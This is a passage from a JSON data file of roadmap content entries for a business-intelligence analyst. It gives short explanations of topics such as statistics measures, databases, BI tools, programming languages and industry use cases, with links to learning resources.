    "path": "src/data/roadmaps/bi-analyst/content/manufacturing@zEGmDHaFa-F81tWqa3i9E.md",
    "content": "# BI in Manufacturing\n\nData analytics and BI in manufacturing involves using data to understand and improve how things are made in industrial settings. It's about collecting information from different parts of the manufacturing process – like production lines, supply chains, and sales – and then analyzing it to find patterns and insights. This helps manufacturers make smarter decisions about things like optimizing production, reducing costs, improving quality, and predicting future demand.\n\nVisit the following resources to learn more:\n\n- [@article@What Is Manufacturing Analytics?](http://oracle.com/au/scm/manufacturing/manufacturing-analytics/)\n- [@article@The future of manufacturing is powered by data and analytics. Here's why](https://www.weforum.org/stories/2022/09/manufacturing-data-advanced-analytics/)"
  },
  {
    "path": "src/data/roadmaps/bi-analyst/content/map@7_5PBCrsukv81mm7yTpDf.md",
    "content": "# Maps in Data Visualization\n\nMaps are visual representations of geographical data, used to display information across different locations. They allow you to see spatial patterns and relationships, such as population density, sales distribution, or resource locations. Different types of maps, like choropleth maps (using color shading) or point maps (using markers), can highlight specific aspects of the data and provide valuable insights based on location."
  },
  {
    "path": "src/data/roadmaps/bi-analyst/content/marketing-campaigns@0qRm81lJX_Eb6aJkJMjeL.md",
    "content": "# Marketing Campaigns\n\nMarketing campaigns are organized efforts to promote a specific business goal, such as increasing brand awareness, driving sales, or launching a new product. These campaigns involve a series of coordinated activities, including advertising, promotions, content creation, and customer engagement, all designed to reach a target audience and achieve measurable results. The success of a marketing campaign is typically evaluated based on key performance indicators (KPIs) like conversion rates, return on investment (ROI), and customer acquisition cost (CAC).\n\nVisit the following resources to learn more:\n\n- [@article@What is campaign analytics?](https://hightouch.com/blog/campaign-analytics)"
  },
  {
    "path": "src/data/roadmaps/bi-analyst/content/marketing@s-wUPMaagyRupT2RdfHks.md",
    "content": "# Marketing\n\nMarketing encompasses the strategies and tactics organizations use to promote and sell their products or services. It involves understanding customer needs, creating compelling messaging, choosing the right channels to reach target audiences, and measuring the effectiveness of campaigns to optimize for better results. Ultimately, marketing aims to drive revenue and build brand awareness."
  },
  {
    "path": "src/data/roadmaps/bi-analyst/content/mean@S4XEOd2-PHIHOiiGgKVLJ.md",
    "content": "# Mean\n\nCentral tendency refers to the statistical measure that identifies a single value as representative of an entire distribution. The mean or average is one of the most popular and widely used measures of central tendency. For a BI analyst, calculating the mean is a routine task. This single value provides an analyst with a quick snapshot of the data and could be useful for further data manipulation or statistical analysis. Mean is particularly helpful in predicting trends and patterns within voluminous data sets or adjusting influencing factors that may distort the 'true' representation of the data. It is the arithmetic average of a range of values or quantities, computed as the total sum of all the values divided by the total number of values.\n\nVisit the following resources to learn more:\n\n- [@article@Arithmetic mean](https://en.wikipedia.org/wiki/Arithmetic_mean)"
  },
  {
    "path": "src/data/roadmaps/bi-analyst/content/median@mfLRVcxvAjqmSG-KBpJ4J.md",
    "content": "# Median\n\nMedian signifies the middle value in a data set when arranged in ascending or descending order. As a data analyst, understanding, calculating, and interpreting the median is crucial. It is especially helpful when dealing with outliers in a dataset as the median is less sensitive to extreme values. Thus, providing a more realistic 'central' value for skewed distributions. This measure is a reliable reflection of the dataset and is widely used in fields like real estate, economics, and finance for data interpretation and decision-making.\n\nVisit the following resources to learn more:\n\n- [@article@How to find the median value](https://www.mathsisfun.com/median.html)\n- [@article@Median: What It Is and How to Calculate It](https://www.investopedia.com/terms/m/median.asp)"
  },
  {
    "path": "src/data/roadmaps/bi-analyst/content/metrics-and-kpis@c0ywBrs9u7MciWAXSgVVg.md",
    "content": "# Metrics and KPIs\n\nMetrics are quantifiable measurements used to track and assess the status of a specific business process. Key Performance Indicators (KPIs) are a subset of metrics that are critical to the success of an organization and are used to measure progress toward strategic goals. For example, website traffic is a metric, while the conversion rate of website visitors into paying customers is a KPI. Another example is that the number of customer service calls is a metric, while the average resolution time for those calls is a KPI.\n\nVisit the following resources to learn more:\n\n- [@article@KPIs vs Metrics: Learn The Difference With Tips & Examples](https://www.rib-software.com/en/blogs/kpis-vs-metrics-differences)\n- [@video@What are KPIs and Metrics? | Data Fundamental for Beginners](https://www.youtube.com/watch?v=ItZlTixh6Bs&vl=en)"
  },
  {
    "path": "src/data/roadmaps/bi-analyst/content/misleading-charts@qGVDuU9RA9Y5g5vlPd-xq.md",
    "content": "# Misleading Charts\n\nMisleading charts are visualizations that distort or misrepresent data, intentionally or unintentionally, leading to incorrect interpretations and flawed conclusions. These charts often employ techniques like truncated axes, inconsistent scales, selective data presentation, or inappropriate chart types to exaggerate or downplay certain trends or comparisons, ultimately undermining the integrity of the data being presented.\n\nVisit the following resources to learn more:\n\n- [@article@How To Spot Misleading Charts: Check the Axes](https://www.tableau.com/blog/how-spot-misleading-charts-check-axes)\n- [@article@https://www.statisticshowto.com/probability-and-statistics/descriptive-statistics/misleading-graphs/](https://www.statisticshowto.com/probability-and-statistics/descriptive-statistics/misleading-graphs/)"
  },
  {
    "path": "src/data/roadmaps/bi-analyst/content/missing-values@fhreEuoT8ZBRwJqbSGrEZ.md",
    "content": "# Missing Values\n\nMissing values are data points that are absent from a dataset. These gaps can occur for various reasons, such as errors during data collection, incomplete surveys, or system malfunctions. Handling missing values is a crucial step in data cleaning to ensure the accuracy and reliability of subsequent analyses and reporting.\n\nVisit the following resources to learn more:\n\n- [@article@Data Standardization: How It's Done & Why It's Important](https://www.scribbr.com/statistics/missing-data/)\n- [@article@Missing data](https://en.wikipedia.org/wiki/Missing_data)"
  },
  {
    "path": "src/data/roadmaps/bi-analyst/content/mitigation-strategies@5MUwKGfSTKlam8KCG0A1U.md",
    "content": "# Mitigation Strategies for Bias\n\nMitigation strategies for bias are the proactive steps taken to reduce or eliminate unfair prejudices within data, algorithms, and decision-making processes. These strategies involve identifying potential sources of bias, implementing techniques to correct or compensate for them, and continuously monitoring outcomes to ensure fairness and equity. The goal is to create more accurate, reliable, and just results by addressing and minimizing the impact of bias.\n\nVisit the following resources to learn more:\n\n- [@article@Addressing AI bias: a human-centric approach to fairness](https://www.ey.com/en_us/insights/emerging-technologies/addressing-ai-bias-a-human-centric-approach-to-fairness)\n- [@article@When AI Gets It Wrong: Addressing AI Hallucinations and Bias](https://mitsloanedtech.mit.edu/ai/basics/addressing-ai-hallucinations-and-bias/)\n- [@video@Algorithmic Bias in AI: What It Is and How to Fix It](https://www.youtube.com/watch?v=og67qeTZPYs)"
  },
  {
    "path": "src/data/roadmaps/bi-analyst/content/mobile-apps@1cC6LKxcncaKg4Jm53pUy.md",
    "content": "# Mobile App Data Sources\n\nMobile apps generate a wealth of data, encompassing user interactions, device information, and app performance metrics. This data is collected through various methods, including tracking user behavior within the app, monitoring device characteristics like operating system and model, and logging app performance indicators such as crash reports and load times. This information provides valuable insights into user engagement, app functionality, and potential areas for improvement."
  },
  {
    "path": "src/data/roadmaps/bi-analyst/content/mobile-responsiveness@7t0WfLLqrD5VJQwIAmXMo.md",
    "content": "# Mobile-Responsive Visualizations\n\nMobile-responsive visualizations are designed to adapt and display correctly on various screen sizes and devices, particularly smartphones and tablets. This ensures that data insights are accessible and easily understandable regardless of the device used to view them, maintaining readability and functionality across different platforms. This involves using techniques like flexible layouts, scalable images, and touch-friendly controls to optimize the viewing experience on smaller screens.\n\nVisit the following resources to learn more:\n\n- [@article@4 Key Tips: Creating Mighty Mobile Data Visualizations](https://pagely.com/blog/4-key-tips-creating-mighty-mobile-data-visualizations/)"
  },
  {
    "path": "src/data/roadmaps/bi-analyst/content/mode@DQtznxvW5x4s-zGLpUpNY.md",
    "content": "# Mode\n\nThe mode, in essence, represents the most frequently occurring value in a dataset. While it may appear simplistic, the mode's ability to identify the most common value can be instrumental in a wide range of scenarios, like market research, customer behavior analysis, or trend identification. For instance, a BI analyst can use the mode to determine the most popular product in a sales dataset or identify the most commonly reported bug in a software bug log.\n\nVisit the following resources to learn more:\n\n- [@article@Mode: What is it and how to calculate it](https://www.investopedia.com/terms/m/mode.asp)\n- [@article@Mean Median Mode Formula](https://www.cuemath.com/mean-median-mode-formula/)"
  },
  {
    "path": "src/data/roadmaps/bi-analyst/content/mysql@eqnAEp2VT7FD2VDy5WVDP.md",
    "content": "# MySQL\n\nMySQL is an open-source relational database management system (RDBMS) known for its speed, reliability, and ease of use. It uses SQL (Structured Query Language) for database interactions and supports a range of features for data management, including transactions, indexing, and stored procedures. MySQL is widely used for web applications, data warehousing, and various other applications due to its scalability and flexibility. It integrates well with many programming languages and platforms, and is often employed in conjunction with web servers and frameworks in popular software stacks like LAMP (Linux, Apache, MySQL, PHP/Python/Perl). MySQL is maintained by Oracle Corporation and has a large community and ecosystem supporting its development and use.\n\nVisit the following resources to learn more:\n\n- [@official@MySQL](https://www.mysql.com/)\n- [@article@MySQL for Developers](ttps://planetscale.com/courses/mysql-for-developers/introduction/course-introduction)\n- [@article@MySQL Tutorial](https://www.mysqltutorial.org/)\n- [@article@MySQL Complete Course](https://www.youtube.com/watch?v=5OdVJbNCSso)\n- [@article@Explore top posts about MySQL](https://app.daily.dev/tags/mysql?ref=roadmapsh)\n- [@video@MySQL Full Course](https://www.youtube.com/watch?v=5OdVJbNCSso)"
  },
  {
    "path": "src/data/roadmaps/bi-analyst/content/networking@Q98GaitxocEha4zZ9d254.md",
    "content": "# Networking\n\nNetworking involves building and maintaining relationships with other professionals. It's about connecting with people in your field, sharing information, and offering support. This can involve attending industry events, joining online communities, or simply reaching out to individuals whose work you admire."
  },
  {
    "path": "src/data/roadmaps/bi-analyst/content/normalization-vs-denormalization@Prfa0LUmgxcp52IEObFom.md",
    "content": "# Normalization vs Denormalization\n\nDatabase normalization is a process used to organize a database into tables and columns. The idea is that a table should be about a specific topic and that only those columns which support that topic are included. This limits the number of duplicate data contained within your database. This makes the database more flexible by eliminating issues stemming from database modifications.\n\nDenormalization is the opposite of normalization. It is the process of adding redundant data to a database to improve read performance. This is done by adding duplicate data into multiple tables to avoid expensive joins. This is done at the expense of increased storage and decreased write performance.\n\nVisit the following resources to learn more:\n\n- [@article@Normalization vs. Denormalization in databases](https://codilime.com/blog/normalization-vs-denormalization-in-databases/)\n- [@video@Normalization vs. Denormalization | Events and Event Streaming](https://www.youtube.com/watch?v=sDU94hraq8g)"
  },
  {
    "path": "src/data/roadmaps/bi-analyst/content/open-source-projects@YovS5Dbcr6g_8PMr8jp5t.md",
    "content": "# Open-Source Projects\n\nOpen-source projects are collaborative software development initiatives where the source code is freely available for anyone to use, modify, and distribute. This allows for community-driven innovation and improvement. Two popular open-source BI projects are Metabase, a user-friendly data exploration and visualization tool, and Apache Superset, a modern, enterprise-ready BI web application.\n\nVisit the following resources to learn more:\n\n- [@opensource@Metabase](https://github.com/metabase/metabase)\n- [@opensource@Superset](https://github.com/apache/superset)"
  },
  {
    "path": "src/data/roadmaps/bi-analyst/content/operational-bi@GN6SnI7RXIeW8JeD-qORW.md",
    "content": "# Operational BI\n\nOperational planning is the starting point for implementing the actions and goals outlined by tactical planning; aiming to achieve the objectives established in strategic decisions. Operational planning focuses on short-term activities, typically with a 3-6 month horizon. All sectors of the organization are involved in this process, dedicating themselves to monitoring daily activities to ensure execution."
  },
  {
    "path": "src/data/roadmaps/bi-analyst/content/operations@dJZqe47kzRqYIG-4AZTlz.md",
    "content": "# Operations\n\nOperations encompass all the activities involved in producing and delivering a company's products or services. This includes managing resources, processes, and people to ensure efficiency, quality, and customer satisfaction. It focuses on the day-to-day activities that keep the business running smoothly and meeting its objectives."
  },
  {
    "path": "src/data/roadmaps/bi-analyst/content/oracle@uoQS4g-c6QndacUeiaWrq.md",
    "content": "# Oracle\n\nOracle Database is a highly robust, enterprise-grade relational database management system (RDBMS) developed by Oracle Corporation. Known for its scalability, reliability, and comprehensive features, Oracle Database supports complex data management tasks and mission-critical applications. It provides advanced functionalities like SQL querying, transaction management, high availability through clustering, and data warehousing. Oracle's database solutions include support for various data models, such as relational, spatial, and graph, and offer tools for security, performance optimization, and data integration. It is widely used in industries requiring large-scale, secure, and high-performance data processing.\n\nVisit the following resources to learn more:\n\n- [@official@Oracle](https://www.oracle.com/database/)\n- [@official@Oracle Docs](https://docs.oracle.com/en/database/index.html)\n- [@video@Oracle SQL Tutorial for Beginners](https://www.youtube.com/watch?v=ObbNGhcxXJA)\n- [@feed@Explore top posts about Oracle](https://app.daily.dev/tags/oracle?ref=roadmapsh)"
  },
  {
    "path": "src/data/roadmaps/bi-analyst/content/other-formats@k80q5FPNiIUdxn5A8R3Hu.md",
    "content": "# Other Data Formats\n\nData comes in many forms beyond the common Excel, CSV, JSON, and XML files. These formats are structured ways to store information, but other formats exist to handle different types of data. For example, you might encounter formats like Parquet and Avro, which are optimized for efficient storage and retrieval in big data environments. Databases themselves, like SQL Server or MongoDB, represent structured data formats. Image files (JPEG, PNG), audio files (MP3, WAV), and video files (MP4, MOV) are also data formats, albeit unstructured ones. Understanding the variety of data formats is crucial for accessing and integrating diverse data sources."
  },
  {
    "path": "src/data/roadmaps/bi-analyst/content/outliers@OqolfBQRQvwg6PI_t8Mrt.md",
    "content": "# undefined\n\nOutliers are unusual or surprising data points that deviate significantly from the rest of the data. While they may be the result of mere variability or error, they will often pull the aggregate data towards them, skewing the results and impeding the accuracy of data analysis. Therefore, identifying and appropriately handling these outliers is crucial to ensure the reliability of subsequent data analysis tasks.\n\nVisit the following resources to learn more:\n\n- [@article@Outliers](https://www.mathsisfun.com/data/outliers.html)\n- [@article@Outliers in Data Analysis... and how to deal with them!](https://www.youtube.com/watch?v=3lQydBqWYk0&pp=0gcJCfwAo7VqN5tD)"
  },
  {
    "path": "src/data/roadmaps/bi-analyst/content/p-value@rkEdx_mZBoDjMhiluJl7O.md",
    "content": "# P-Value\n\nThe p-value is a number that tells you how likely it is that your data could have occurred under the null hypothesis. It represents the probability of observing a test statistic as extreme as, or more extreme than, the one computed from your sample data, assuming the null hypothesis is true. A small p-value (typically ≤ 0.05) suggests strong evidence against the null hypothesis, so you reject the null hypothesis. A large p-value (> 0.05) suggests weak evidence against the null hypothesis, so you fail to reject the null hypothesis.\n\nVisit the following resources to learn more:\n\n- [@article@P-value](https://en.wikipedia.org/wiki/P-value)\n- [@article@P-Value: What It Is, How to Calculate It, and Examples](https://www.investopedia.com/terms/p/p-value.asp)\n- [@video@What Is A P-Value? - Clearly Explained](https://www.youtube.com/watch?v=ukcFrzt6cHk)"
  },
  {
    "path": "src/data/roadmaps/bi-analyst/content/pandas@25f76eB9-vy3Usta-Pbsi.md",
    "content": "# Pandas for Exploratory Data Analysis\n\nPandas is a powerful Python library that makes exploring and understanding data much easier. It provides data structures like DataFrames, which are like spreadsheets but much more versatile. With Pandas, you can quickly clean, transform, and analyze your data. It allows you to easily filter rows, select columns, calculate summary statistics (like mean and median), and handle missing values. This makes it a go-to tool for getting a feel for your data and uncovering initial insights before diving into more complex analysis.\n\nVisit the following resources to learn more:\n\n- [@official@Pandas Docs](https://pandas.pydata.org/docs/index.html)\n- [@article@Python pandas Tutorial: The Ultimate Guide for Beginners](https://www.datacamp.com/tutorial/pandas)\n- [@video@Exploratory Data Analysis in Pandas | Python Pandas Tutorials](https://www.youtube.com/watch?v=Liv6eeb1VfE)"
  },
  {
    "path": "src/data/roadmaps/bi-analyst/content/patient-management@LI09SvvUUCQxLZZee_j0n.md",
    "content": "# Patient Management\n\nData analytics helps healthcare providers manage patients more effectively. By analyzing patient data like medical history, appointments, and treatment outcomes, hospitals and clinics can identify trends and patterns. This information allows them to improve scheduling, reduce wait times, personalize treatment plans, and ultimately provide better care for each patient.\n\nVisit the following resources to learn more:\n\n- [@article@Top 8 Use Cases of Healthcare Business Intelligence](https://kms-healthcare.com/blog/healthcare-business-intelligence/)"
  },
  {
    "path": "src/data/roadmaps/bi-analyst/content/performance@y9Fnjnbiqt7WkrhjPITpW.md",
    "content": "# SQL Performance Tuning\n\nSQL performance tuning involves optimizing SQL queries and database structures to improve the speed and efficiency of data retrieval and manipulation. This includes techniques like indexing, query optimization, and database configuration adjustments to reduce query execution time and minimize resource consumption. The goal is to ensure that SQL queries run quickly and efficiently, providing timely and accurate data for analysis and reporting.\n\nVisit the following resources to learn more:\n\n- [@official@SQL Roadmap](https://roadmap.sh/sql)\n- [@article@SQL Query Optimization: 15 Techniques for Better Performance](https://www.datacamp.com/blog/sql-query-optimization)\n- [@article@Performance Tuning SQL Queries](https://mode.com/sql-tutorial/sql-performance-tuning)"
  },
  {
    "path": "src/data/roadmaps/bi-analyst/content/popular-databases@gJBaVERU3prru-qRksxN4.md",
    "content": "# Popular Databases\n\nRelational databases are a common way to store and organize data in tables with rows and columns. They use relationships between these tables to efficiently manage information. Some popular examples include MySQL, a widely used open-source database; PostgreSQL, known for its robustness and adherence to standards; SQLite, a lightweight database often embedded in applications; and Oracle, a commercial database known for its scalability and features."
  },
  {
    "path": "src/data/roadmaps/bi-analyst/content/population--sample@7VDxA9bQ1P1fym4eQVKkN.md",
    "content": "# Population & Sample\n\nIn statistics, a population refers to the entire group you want to draw conclusions about, while a sample is a smaller, manageable subset of that population that you actually collect data from. Because it's often impractical or impossible to study an entire population, we use samples to make inferences or generalizations about the larger group. The goal is to ensure the sample is representative of the population so that the conclusions drawn from the sample data are accurate and reliable for the entire population.\n\nVisit the following resources to learn more:\n\n- [@article@Population vs. Sample | Definitions, Differences & Examples](https://www.scribbr.com/methodology/population-vs-sample/)\n- [@article@Difference Between Population And Sample](https://www.simplilearn.com/tutorials/machine-learning-tutorial/population-vs-sample)"
  },
  {
    "path": "src/data/roadmaps/bi-analyst/content/portfolio-presentation@qsCWo1CmR4mvy7E7qlPv5.md",
    "content": "# Portfolio Presentation\n\nA portfolio presentation is a structured way to showcase your skills and experience to potential employers. It involves selecting relevant projects, highlighting your contributions and the impact of your work, and presenting them in a clear and compelling manner. The goal is to demonstrate your abilities and how you can add value to their organization."
  },
  {
    "path": "src/data/roadmaps/bi-analyst/content/postgresql@nhl9FM79femgqENNR0HbE.md",
    "content": "# PostgreSQL\n\nPostgreSQL is an advanced, open-source relational database management system (RDBMS) known for its robustness, extensibility, and standards compliance. It supports a wide range of data types and advanced features, including complex queries, foreign keys, and full-text search. PostgreSQL is highly extensible, allowing users to define custom data types, operators, and functions. It supports ACID (Atomicity, Consistency, Isolation, Durability) properties for reliable transaction processing and offers strong support for concurrency and data integrity. Its capabilities make it suitable for various applications, from simple web apps to large-scale data warehousing and analytics solutions.\n\nVisit the following resources to learn more:\n\n- [@roadmap@Visit Dedicated PostgreSQL DBA Roadmap](https://roadmap.sh/postgresql-dba)\n- [@course@PostgreSQL: Become an SQL developer](https://www.simplilearn.com/free-postgresql-course-skillup)\n- [@official@Official Website](https://www.postgresql.org/)\n- [@article@Learn PostgreSQL - Full Tutorial for Beginners](ttps://www.postgresqltutorial.com/)\n- [@video@ostgres tutorial for Beginners](https://www.youtube.com/watch?v=SpfIwlAYaKk)\n- [@feed@Explore top posts about PostgreSQL](https://app.daily.dev/tags/postgresql?ref=roadmapsh)"
  },
  {
    "path": "src/data/roadmaps/bi-analyst/content/power-bi@eqGsO6ZGk2jdG0z9-cHzz.md",
    "content": "# Power BI\n\nPowerBI, an interactive data visualization and business analytics tool developed by Microsoft, plays a crucial role in the field of a data analyst's work. It helps data analysts to convert raw data into meaningful insights through it's easy-to-use dashboards and reports function. This tool provides a unified view of business data, allowing analysts to track and visualize key performance metrics and make better-informed business decisions. With PowerBI, data analysts also have the ability to manipulate and produce visualizations of large data sets that can be shared across an organization, making complex statistical information more digestible.\n\nVisit the following resources to learn more:\n\n- [@official@Power BI](https://www.microsoft.com/en-us/power-platform/products/power-bi)\n- [@video@Power BI for beginners](https://www.youtube.com/watch?v=NNSHu0rkew8)\n- [@video@Power BI Full Course for Free in 20 Hours](https://www.youtube.com/watch?v=cyWVzAQF9YU)"
  },
  {
    "path": "src/data/roadmaps/bi-analyst/content/predictive-analysis@4zpVE3R0lLyWpHePdBVpl.md",
    "content": "# Predictive analysis\n\nPredictive analysis is a crucial type of data analytics that any competent data analyst should comprehend. It refers to the practice of extracting information from existing data sets in order to determine patterns and forecast future outcomes and trends. Data analysts apply statistical algorithms, machine learning techniques, and artificial intelligence to the data to anticipate future results. Predictive analysis enables organizations to be proactive, forward-thinking, and strategic by providing them valuable insights on future occurrences. It's a powerful tool that gives companies a significant competitive edge by enabling risk management, opportunity identification, and strategic decision-making.\n\nVisit the following resources to learn more:\n\n- [@article@What is Predictive Analytics? - Google](https://cloud.google.com/learn/what-is-predictive-analytics)\n- [@video@hat is Predictive Analytics?](https://www.youtube.com/watch?v=cVibCHRSxB0)"
  },
  {
    "path": "src/data/roadmaps/bi-analyst/content/predictive-maintenance@yimCxOdNtyGcbd6ZxHsBQ.md",
    "content": "# Predictive Maintenance\n\nPredictive maintenance uses data analysis and machine learning to forecast when equipment failures are likely to occur. This allows manufacturers to schedule maintenance proactively, minimizing downtime and reducing costs associated with unexpected breakdowns. By analyzing sensor data, historical maintenance records, and other relevant information, predictive maintenance models can identify patterns and anomalies that indicate potential problems before they lead to significant disruptions.\n\nVisit the following resources to learn more:\n\n- [@article@What is Predictive Maintenance?](https://www.ibm.com/think/topics/predictive-maintenance)\n- [@video@Predictive Maintenance Explained](https://www.youtube.com/watch?v=2_o1SDy6__U)"
  },
  {
    "path": "src/data/roadmaps/bi-analyst/content/prescriptive-analysis@NnbtaO2MiqsHeJ-ds0Q5m.md",
    "content": "# Prescriptive Analytics\n\nPrescriptive analytics, a crucial type of data analytics, is essential for making data-driven decisions in business and organizational contexts. As a data analyst, the goal of prescriptive analytics is to recommend various actions using predictions on the basis of known parameters to help decision makers understand likely outcomes. Prescriptive analytics employs a blend of techniques and tools such as algorithms, machine learning, computational modelling procedures, and decision-tree structures to enable automated decision making. Therefore, prescriptive analytics not only anticipates what will happen and when it will happen, but also explains why it will happen, contributing to the significance of a data analyst’s role in an organization.\n\nVisit the following resources to learn more:\n\n- [@article@What is Prescriptive Analysis?](https://www.investopedia.com/terms/p/prescriptive-analytics.asp)\n- [@video@Examples of Prescriptive Analysis](https://www.youtube.com/watch?v=NOo8Nc9zG20)"
  },
  {
    "path": "src/data/roadmaps/bi-analyst/content/presentation-design@9G-pI5NsRCq4p0FLfaMR_.md",
    "content": "# Presentation Design\n\nPresentation design involves creating visually appealing and engaging slides or materials to effectively communicate information to an audience. It encompasses elements like layout, color schemes, typography, imagery, and data visualization to ensure the message is clear, concise, and memorable. A well-designed presentation helps to capture attention, maintain interest, and facilitate understanding of the key insights being presented.\n\nVisit the following resources to learn more:\n\n- [@video@Visual storytelling 101: elevating presentations with data visualization](https://www.youtube.com/watch?v=NXx0xQn7OXI)"
  },
  {
    "path": "src/data/roadmaps/bi-analyst/content/privacy@fuxGZx3WGjP2TzzVV29ux.md",
    "content": "# Privacy\n\nPrivacy refers to the right of individuals to control how their personal information is collected, used, and shared. It encompasses various aspects, including data security, confidentiality, and compliance with regulations like GDPR and CCPA. Protecting privacy involves implementing policies and procedures to safeguard sensitive data and ensuring transparency in data handling practices.\n\nVisit the following resources to learn more:\n\n- [@article@What Is Data Privacy?](https://www.ibm.com/think/topics/data-privacy)"
  },
  {
    "path": "src/data/roadmaps/bi-analyst/content/production-efficiency@L50rpcgGjsQU3S0zRn6xh.md",
    "content": "# Production Efficiency\n\nProduction efficiency measures how well a manufacturing process converts inputs (like raw materials, labor, and energy) into outputs (finished goods). It focuses on minimizing waste, optimizing resource utilization, and streamlining workflows to produce the maximum possible output with the least amount of input. Analyzing production efficiency involves tracking key performance indicators (KPIs) such as throughput, cycle time, and defect rates to identify areas for improvement and ultimately reduce costs and increase profitability."
  },
  {
    "path": "src/data/roadmaps/bi-analyst/content/professional-development@tUxwKTml2Go8zR9tR3cjn.md",
    "content": "# Professional Development\n\nProfessional development encompasses activities that enhance an individual's skills, knowledge, and expertise within their field. It involves continuous learning and growth through various avenues such as training courses, certifications, conferences, mentorship, and self-directed study. The goal is to stay current with industry trends, improve performance, and advance one's career."
  },
  {
    "path": "src/data/roadmaps/bi-analyst/content/programming-languages@KSxjcWV6C325kZITzAhWs.md",
    "content": "# Programming Languages for BI Analysts\n\nProgramming languages are sets of instructions that tell computers what to do. For BI Analysts, learning a programming language unlocks powerful capabilities beyond standard BI tools. It allows you to automate tasks, clean and transform data in complex ways, build custom visualizations, and integrate different data sources. By learning a programming language, BI Analysts can solve more complex problems and gain deeper insights from data."
  },
  {
    "path": "src/data/roadmaps/bi-analyst/content/project-management@r8NoX426-ngu6ZQZe06oK.md",
    "content": "# Project Management\n\nProject management involves planning, organizing, and overseeing the completion of specific goals. It encompasses defining project objectives, creating timelines, allocating resources, and managing risks to ensure projects are delivered on time, within budget, and to the required quality. Effective project management relies on clear communication, collaboration, and problem-solving skills to navigate challenges and keep stakeholders aligned."
  },
  {
    "path": "src/data/roadmaps/bi-analyst/content/providers-aws-gcp-azure@Z4pAe4FpnCkUJt8RuOhC6.md",
    "content": "# Cloud Providers: AWS, GCP, and Azure\n\nAmazon Web Services (AWS), Google Cloud Platform (GCP), and Microsoft Azure are the leading cloud providers, offering a wide range of services. These services include computing power, data storage, networking, databases, analytics, machine learning, and more, all accessible over the internet. They allow businesses to avoid the upfront costs and complexities of owning and managing their own IT infrastructure, providing scalable and on-demand resources.\n\nVisit the following resources to learn more:\n\n- [@official@Amazon Web Services](https://aws.amazon.com/)\n- [@article@Microsoft Azure](https://azure.microsoft.com/)\n- [@article@Google Cloud](https://cloud.google.com/)\n- [@video@The Basics You Need to Know about AWS, Azure, and Google Cloud](https://www.youtube.com/watch?v=wFsOjHgvUfM)"
  },
  {
    "path": "src/data/roadmaps/bi-analyst/content/public-health@Cydlrtg_FClBUkjezqGie.md",
    "content": "# Public Health Data Analytics\n\nData analytics in public health uses information to understand and tackle health issues affecting large groups of people. During events like pandemics, analyzing data on disease spread, patient demographics, and resource availability helps identify hotspots, predict future outbreaks, and optimize the distribution of medical supplies. This allows public health officials to make informed decisions, implement targeted interventions, and ultimately improve health outcomes for the population."
  },
  {
    "path": "src/data/roadmaps/bi-analyst/content/python@vQQSYPpcGO7ri0RFSWi0h.md",
    "content": "# Python for BI Analysts\n\nPython is a versatile and widely-used programming language known for its readability and extensive libraries. Learning Python as a BI analyst is crucial because it allows you to automate tasks like data cleaning and transformation, perform advanced statistical analysis beyond the capabilities of standard BI tools, and create custom visualizations. It empowers you to work with larger and more complex datasets, ultimately leading to deeper insights and more effective data-driven decision-making.\n\nVisit the following resources to learn more:\n\n- [@roadmap@Visit Dedicated Python Roadmap](https://roadmap.sh/python)\n- [@book@Python for Data Analysis](https://datapot.vn/wp-content/uploads/2023/12/datapot.vn-Python-for-Data-Analysis.pdf?srsltid=AfmBOopeeuwebcpwD9crBjnMo3wchpUtvkz-g1T2Phi7FFyjkx7l5t9e)\n- [@official@Python](https://www.python.org/)\n- [@article@Real Python](https://realpython.com/)\n- [@video@Ultimate Data Analyst Bootcamp [24 Hours!]](https://www.youtube.com/watch?v=wQQR60KtnFY)"
  },
  {
    "path": "src/data/roadmaps/bi-analyst/content/qlik@GoMIAQwusbT7fqJ-VnCrq.md",
    "content": "# Qlik\n\nQlik is a data analytics platform that allows users to explore data, discover insights, and make data-driven decisions. It uses associative technology, which enables users to explore relationships within data regardless of where it's stored. Qlik offers self-service analytics, data visualization, and data integration capabilities, empowering users to analyze data without relying solely on IT or data science teams.\n\nVisit the following resources to learn more:\n\n- [@official@Qlik](https://www.qlik.com/)\n- [@video@Qlik Sense Tutorial: 3.5 Hours of Beginner to Advanced Qlik Sense Training](https://www.youtube.com/watch?v=ny8d2XlTWsQ)"
  },
  {
    "path": "src/data/roadmaps/bi-analyst/content/quality-control@Xe9zK8xhkkr4fsh3HOzAY.md",
    "content": "# Quality Control\n\nQuality control in manufacturing involves systematically monitoring and evaluating products or processes to ensure they meet predefined standards and specifications. This includes identifying defects, analyzing their root causes, and implementing corrective actions to improve product quality and process efficiency. The goal is to minimize errors, reduce waste, and consistently deliver high-quality products to customers.\n\nVisit the following resources to learn more:\n\n- [@article@Quality Control in Manufacturing: Methods, Best Practices, and Implementation](https://www.starrapid.com/blog/quality-control-in-manufacturing/)"
  },
  {
    "path": "src/data/roadmaps/bi-analyst/content/r@0OTmTRHlR3ImNU0zyLt8G.md",
    "content": "# R Programming for Business Intelligence\n\nR is a programming language and free software environment widely used for statistical computing and graphics. For BI analysts, R is valuable because it allows for advanced data analysis, statistical modeling, and the creation of custom visualizations beyond the capabilities of many standard BI tools. It empowers analysts to uncover deeper insights, build predictive models, and communicate findings effectively.\n\nVisit the following resources to learn more:\n\n- [@book@R for Data Science](https://r4ds.hadley.nz/)\n- [@official@R](https://www.r-project.org/)\n- [@article@What is R? - An Introduction to The Statistical Computing Powerhouse](https://www.datacamp.com/blog/all-about-r)\n- [@video@R Programming For Beginners](https://www.youtube.com/watch?v=KlsYCECWEWE&list=PLEiEAq2VkUUKAw0aAJ1W4jpZ1q9LpX4yG)"
  },
  {
    "path": "src/data/roadmaps/bi-analyst/content/range@jll2iRbjdx7iiNwY13KYD.md",
    "content": "# Range\n\nThe range is a simple measure of dispersion that indicates the spread of data in a dataset. It's calculated by subtracting the smallest value from the largest value. The range provides a quick and easy way to understand the variability within a dataset, showing the total distance covered by the data points.\n\nVisit the following resources to learn more:\n\n- [@article@How to Find the Range of a Data Set](https://www.scribbr.co.uk/stats/range-statistics/)"
  },
  {
    "path": "src/data/roadmaps/bi-analyst/content/regression-analysis@m9ejACzRBJza0v-fpdfkn.md",
